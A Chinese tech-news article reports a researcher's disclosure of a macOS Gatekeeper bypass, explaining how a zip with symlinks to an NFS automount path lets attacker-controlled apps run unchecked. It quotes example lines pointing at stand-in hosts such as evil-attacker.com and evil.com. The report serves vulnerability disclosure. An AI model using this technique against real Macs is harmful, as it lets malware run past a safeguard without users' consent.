本文由腾讯数码独家发布
最近,macOS被披露存在一些安全问题。此前,安全研究员Filippo Cavallarin公开了他所说的绕过macOS Gatekeeper安全机制的方法。不过,截至上周发布的macOS 10.14.5,苹果仍未解决这一问题。
Gatekeeper是一个款macOS安全工具,可以在应用程序下载后立即进行验证,防止在没有用户同意的情况下运行应用程序。当用户从Mac应用程序商店外部下载应用程序时,Gatekeeper可以用于检查代码是否已由苹果签名。如果代码没有被签名,应用程序则不会在没有用户直接许可的情况下打开并运行。
然而,最近Gatekeeper被披露可能存在漏洞。Cavallarin在他的博客中写道,Gatekeeper的安全功能可以完全绕过。当前的,Gatekeeper将外部驱动器和网络共享都视为“安全位置”。这意味着Gatekeeper允许安全位置中包含的任何应用程序运行,无需再次检查代码。Cavallarin接着解释说,用户很容易被误导安装网络共享驱动器,接着该文件夹中的任何内容都可以通过Gatekeeper。
安全研究员解释道:
第一个方法是automount(又名autofs,自动挂载外部存储设备的工具),它允许用户通过访问一个“特殊”路径(在本例中是以“/net/”开头的任何路径)来自动挂载网络共享。例如,' ls /net/evil-attacker.com/sharedfolder/'将使操作系统使用NFS读取远程主机(evil-attacker.com)上的' sharedfolder '的内容。
第二个方法是zip归档可以包含指向任意位置的符号链接(包括automount enpoints),并且MacOS上的软件在创建符号链接之前不会对这些符号链接进行检查。
接下来,为了更好地理解到底是如何绕过Gatekeeper的,让我们想象以下场景:攻击者创建一个zip文件,其中包含指向她/他控制的automount端点(ex Documents -> / net/evil.com/documents)的符号链接,并将其发送给被攻击者。被攻击者下载恶意文件,提取并遵循符号链接。
现在被攻击者处在一个被攻击者控制但被Gatekeeper信任的位置,因此任何攻击者控制的可执行文件都可以在没有警告的情况下运行。Finder的设计方式(例如隐藏app扩展名,隐藏标题栏完整路径)使其更难发现。
Cavallarin表示,他在2月22日将这一漏洞告知了苹果,苹果本应在上周发布macOS 10.14.5时解决这一问题。不过那次发布之后,这个漏洞仍然没有得到解决,Cavallarin说,苹果还没回复他的电子邮件。他今天选择公布这一漏洞,因为给苹果90天的窗口期已到。希望苹果可以积极解决这个问题吧。
领取专属 10元无门槛券
私享最新 技术干货